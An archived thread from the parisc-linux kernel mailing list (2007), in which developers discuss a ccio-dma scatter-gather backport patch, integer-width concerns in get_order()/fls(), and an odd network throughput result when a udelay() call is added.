Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by mail.parisc-linux.org (Postfix) with ESMTP id 44E96494003;
	Sun, 28 Oct 2007 09:44:18 -0600 (MDT)
Original-Received: from (ip-213-49-84-236.dsl.scarlet.be [213.49.84.236])
	by guri.is.scarlet.be  with ESMTP id l9SFiG007609;
	Sun, 28 Oct 2007 16:44:17 +0100
User-Agent: Mozilla-Thunderbird 2.0.0.6 (X11/20071009)
In-Reply-To: <4724A084.5090709@scarlet.be>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: IMtWZxdWeSE4eL6WZHQh8Xd2IGRvb4DL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25465



Joel Soete wrote:
 >
 >
[snip]
 >
 > so I need to be sure that the value of ((size - 1) >> (PAGE_SHIFT))
 > would always stand in a int (not unsigned but sign) for 32bit (iirc
 > size_of(unsigned long)==32) and 64bit (size_of(unsigned long)==64)
 > implementations?
 >
Definitely not:

if ul = 0xffffffffffffffff (64bit wide i.e. 16*4bits)
ul >> 12 (PAGE_SHIFT) == 0xfffffffffffff (13*4bits)

and INT_MAX= 0x7fffffff far well < then 0xfffffffffffff ;_(

we can get the idea in a corner when fls prototype will change.

Sorry,
	J.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch 2/2] backport of sba sg list management
	to ccio-dma
Date: Thu, 01 Nov 2007 17:17:51 +0000
Lines: 61
Approved: news@gmane.org
Message-ID: <472A0A3F.5040007__1408.67351224205$1416624649$gmane$org@scarlet.be>
References: <JQIT2V$FB9C8381616CCA32E9FC6CC809E8D81D@scarlet.be>
	<20071028064158.GB29233@colo.lackof.org>
	<4724A084.5090709@scarlet.be>
	<20071029053015.GA14763@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624649 28557 80.91.229.3 (22 Nov 2014 02:50:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:49 +0000 (UTC)
Cc: kyle <kyle@mcmartin.ca>,
 parisc-linux <parisc-linux@parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Nov 2007 17:18:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 01 Nov 2007 18:18:39 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0B37D7F14F;
	Thu,  1 Nov 2007 11:18:27 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id wgTzyRmFZLPH; Thu,  1 Nov 2007 11:18:26 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B03487F150;
	Thu,  1 Nov 2007 11:18:12 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1B3C17F14E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Nov 2007 11:18:08 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id U3caU4KW+wfm for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Nov 2007 11:17:54 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 486A17F14A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Nov 2007 11:17:54 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 1D9D8494009; Thu,  1 Nov 2007 11:17:58 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by mail.parisc-linux.org (Postfix) with ESMTP id E8F12494005;
	Thu,  1 Nov 2007 11:17:56 -0600 (MDT)
Original-Received: from (ip-213-49-83-88.dsl.scarlet.be [213.49.83.88])
	by weequay.is.scarlet.be  with ESMTP id lA1HHqJ17741;
	Thu, 1 Nov 2007 18:17:52 +0100
User-Agent: Mozilla-Thunderbird 2.0.0.6 (X11/20071009)
In-Reply-To: <20071029053015.GA14763@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ST0ZcxtPf2I+KoicY2xoVilwdWxlcxYB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25466

Grant,


Grant Grundler wrote:
> On Sun, Oct 28, 2007 at 02:45:24PM +0000, Joel Soete wrote:
> ...
>> e.g.
>> # more GetOrder-poc.c
> ...
>> give me well same results:
>> # ./GetOrder-poc
>> get_order(1) = 0 (0x0);
>> get_order_poc(1) = 0 (0x0).
> ...
> 
> Good!
> 
> ...
>> But I need to check more on a detail:
>> here is the prototype of fls():
>> static inline int fls(int x)
>>
>> so I need to be sure that the value of ((size - 1) >> (PAGE_SHIFT)) would 
>> always stand in a int (not unsigned but sign) for 32bit (iirc 
>> size_of(unsigned long)==32) and 64bit (size_of(unsigned long)==64) 
>> implementations?
> 
> Huh?
> Why do you care how (unsigned long) is handled when the function prototype
> defines the API to pass in an "int"?
> 
Because I only have a theoritical knowledge of programming :<?

> FWIW, __fls could be extended to handle unsigned long the same way
> that __ffs has been...but I don't think we needed to for anything so far.
> 
Ok, I could check if I can recover my stuff about this fls()?
(should be something like <http://lists.parisc-linux.org/pipermail/parisc-linux/2006-September/030209.html>, I will test more)

> ...
>>>> 	return (size ? fls((size - 1) >> (PAGE_SHIFT)): 0);
>>> fls is inlined already and does the same test for size.
>> Yes but here the error (well imo it's an error) came from the unsign long 
>> of (-1 >> PAGE_SHIFT) <> 0
> 
> Yeah, we'll have to make sure signed int values are handled correctly too.
> But something specific to the parisc version of get_order() can deal
> with sign bits and zero values then call __fls(unsigned long) instead
> of fls(signed int).
> 
> grant
> 
> 
Tx again,
	j.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch 2/2] backport of sba sg list management
	to ccio-dma
Date: Thu, 01 Nov 2007 17:18:01 +0000
Lines: 31
Approved: news@gmane.org
Message-ID: <472A0A49.8010201__18864.6602714018$1416624649$gmane$org@scarlet.be>
References: <4714E800.50709@scarlet.be>
	<20071017184416.GB11502@fattire.cabal.ca>
	<471A3928.8040603@scarlet.be>
	<20071020172328.GI10429@fattire.cabal.ca>
	<20071022043909.GC11869@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624649 28560 80.91.229.3 (22 Nov 2014 02:50:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:49 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Nov 2007 17:18:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx051) with SMTP; 01 Nov 2007 18:18:49 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AD62C7F152;
	Thu,  1 Nov 2007 11:18:41 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Eoya2Vk0dlPh; Thu,  1 Nov 2007 11:18:41 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D1EDD7F153;
	Thu,  1 Nov 2007 11:18:20 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 37DCD7F151
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Nov 2007 11:18:15 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23RYocIf8Qh0 for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Nov 2007 11:18:02 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id DA1A97F14D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Nov 2007 11:18:02 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id DC5CF494006; Thu,  1 Nov 2007 11:18:06 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by mail.parisc-linux.org (Postfix) with ESMTP id 24E94494005;
	Thu,  1 Nov 2007 11:18:05 -0600 (MDT)
Original-Received: from (ip-213-49-83-88.dsl.scarlet.be [213.49.83.88])
	by guri.is.scarlet.be  with ESMTP id lA1HI2009326;
	Thu, 1 Nov 2007 18:18:03 +0100
User-Agent: Mozilla-Thunderbird 2.0.0.6 (X11/20071009)
In-Reply-To: <20071022043909.GC11869@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: SDMScmZObmw6bK2HZzdLL01HUzc4clH5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25467

Grant,

Just come back here because I don't understand this strange stuff:

Grant Grundler wrote:
[snip]
> ...
>  #ifdef CCIO_SEARCH_TIME
> +	udelay(100);
> 
> Did you want to keep udelay() call?
> 
here is short test:
without udelay:
# scp vmlinux  jso@patst007:/var/tmp/vmlinux-2.6.23-pa-d32up3
Password:
vmlinux                                                                                    100% 4364KB 101.5KB/s   00:43

with udelay:
# scp vmlinux  jso@patst007:/var/tmp/vmlinux-2.6.23-pa-d32up3
Password:
vmlinux                                                                                    100% 4364KB 436.4KB/s   00:10

well still far from what we could expect (about 800KB/s) but fwiw something supposing slowdown the kernel improve nic perf?

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch 2/2] backport of sba sg list management
	to ccio-dma
Date: Thu, 1 Nov 2007 15:21:08 -0600
Lines: 35
Approved: news@gmane.org
Message-ID: <20071101212108.GA27994__16356.9280099638$1416624649$gmane$org@colo.lackof.org>
References: <4714E800.50709@scarlet.be>
	<20071017184416.GB11502@fattire.cabal.ca>
	<471A3928.8040603@scarlet.be>
	<20071020172328.GI10429@fattire.cabal.ca>
	<20071022043909.GC11869@colo.lackof.org>
	<472A0A49.8010201@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624649 28562 80.91.229.3 (22 Nov 2014 02:50:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:49 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:28:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Nov 2007 21:22:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx001) with SMTP; 01 Nov 2007 22:22:04 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D4F937F169;
	Thu,  1 Nov 2007 15:21:59 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id KNdc6HMEB0Pv; Thu,  1 Nov 2007 15:21:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6B7597F16A;
	Thu,  1 Nov 2007 15:21:46 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 071737F168
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Nov 2007 15:21:42 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id dXutuXCvmk-c for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Nov 2007 15:21:27 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id C537D7F165
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Nov 2007 15:21:27 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id D455B494006; Thu,  1 Nov 2007 15:21:28 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by mail.parisc-linux.org (Postfix) with ESMTP id A87A2494005
	for <parisc-linux@parisc-linux.org>;
	Thu,  1 Nov 2007 15:21:28 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id CA9334F99B9;
	Thu,  1 Nov 2007 15:21:26 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15396-07; Thu, 1 Nov 2007 15:21:09 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 069DA4F99B8; Thu,  1 Nov 2007 15:21:08 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <472A0A49.8010201@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: SHEYdGsKPTRsPujGPjIws08xc2tpZEsp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25468

On Thu, Nov 01, 2007 at 05:18:01PM +0000, Joel Soete wrote:
> here is short test:
> without udelay:
> # scp vmlinux  jso@patst007:/var/tmp/vmlinux-2.6.23-pa-d32up3

For testing NIC perf, please don't start with scp. Use ftp or something
else that doesn't use encryption. See www.netperf.org and/or iperf.

> Password:
> vmlinux                                                                     
>                100% 4364KB 101.5KB/s   00:43
>
> with udelay:
> # scp vmlinux  jso@patst007:/var/tmp/vmlinux-2.6.23-pa-d32up3
> Password:
> vmlinux                                                                     
>                100% 4364KB 436.4KB/s   00:10
>
> well still far from what we could expect (about 800KB/s) but fwiw something 
> supposing slowdown the kernel improve nic perf?

Yeah, that happens and it's clearly something wrong with the code.
Suggests there is contention either between CPU and IOTLB or between
CPU and IO device for a cacheline(s).

BTW, I'm assuming you have DELAYED_RESOURCE_CNT set to 16 or more.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch 2/2] backport of sba sg list management
	to ccio-dma
Date: Fri, 02 Nov 2007 18:00:16 +0000
Lines: 49
Approved: news@gmane.org
Message-ID: <472B65B0.7020300__49602.7772933759$1416624650$gmane$org@scarlet.be>
References: <JQIT2V$FB9C8381616CCA32E9FC6CC809E8D81D@scarlet.be>
	<20071028064158.GB29233@colo.lackof.org>
	<4724A084.5090709@scarlet.be>
	<20071029053015.GA14763@colo.lackof.org>
	<472A0A3F.5040007@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624650 28566 80.91.229.3 (22 Nov 2014 02:50:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:50 +0000 (UTC)
Cc: kyle <kyle@mcmartin.ca>,
 parisc-linux <parisc-linux@parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Nov 2007 18:01:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx068) with SMTP; 02 Nov 2007 19:01:00 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 80CA87F1C5;
	Fri,  2 Nov 2007 12:00:54 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id DTaAX9Sijnxh; Fri,  2 Nov 2007 12:00:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4D8B07F1C8;
	Fri,  2 Nov 2007 12:00:40 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2D9937F1C3
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  2 Nov 2007 12:00:34 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id BJilE2hdbUFY for <parisc-linux@lists.parisc-linux.org>;
	Fri,  2 Nov 2007 12:00:21 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 649357F1C5
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  2 Nov 2007 12:00:21 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id D793349400A; Fri,  2 Nov 2007 12:00:23 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by mail.parisc-linux.org (Postfix) with ESMTP id 09B19494006;
	Fri,  2 Nov 2007 12:00:20 -0600 (MDT)
Original-Received: from (ip-213-49-83-222.dsl.scarlet.be [213.49.83.222])
	by guri.is.scarlet.be  with ESMTP id lA2I0J018029;
	Fri, 2 Nov 2007 19:00:19 +0100
User-Agent: Mozilla-Thunderbird 2.0.0.6 (X11/20071009)
In-Reply-To: <472A0A3F.5040007@scarlet.be>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5F0dDhN6QEVtMujDZnVpmztKNzg2NcKf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25469



Joel Soete wrote:
> Grant,
> 
> 
> Grant Grundler wrote:
>> On Sun, Oct 28, 2007 at 02:45:24PM +0000, Joel Soete wrote:
>> ...
>>> e.g.
>>> # more GetOrder-poc.c
>> ...
>>> give me well same results:
>>> # ./GetOrder-poc
>>> get_order(1) = 0 (0x0);
>>> get_order_poc(1) = 0 (0x0).
>> ...
>>
>> Good!
>>
>> ...
>>> But I need to check more on a detail:
>>> here is the prototype of fls():
>>> static inline int fls(int x)
>>>
>>> so I need to be sure that the value of ((size - 1) >> (PAGE_SHIFT)) 
>>> would always stand in a int (not unsigned but sign) for 32bit (iirc 
>>> size_of(unsigned long)==32) and 64bit (size_of(unsigned long)==64) 
>>> implementations?
>>
>> Huh?
>> Why do you care how (unsigned long) is handled when the function 
>> prototype
>> defines the API to pass in an "int"?
>>
it seems that I simply forget the existance of fls_long().

I can now safely patch get_order() ;<).

Tx,
	J.

PS: Yes DELAYED_RESOURCE_CNT was set to 16
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch 2/2] backport of sba sg list management
	to ccio-dma
Date: Sun, 28 Oct 2007 23:30:15 -0600
Lines: 49
Approved: news@gmane.org
Message-ID: <20071029053015.GA14763__47402.816967997$1416624650$gmane$org@colo.lackof.org>
References: <JQIT2V$FB9C8381616CCA32E9FC6CC809E8D81D@scarlet.be>
	<20071028064158.GB29233@colo.lackof.org>
	<4724A084.5090709@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624650 28568 80.91.229.3 (22 Nov 2014 02:50:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:50 +0000 (UTC)
Cc: kyle <kyle@mcmartin.ca>,
 parisc-linux <parisc-linux@parisc-linux.org>
To: Joel Soete <soete.joel@scarlet.be>
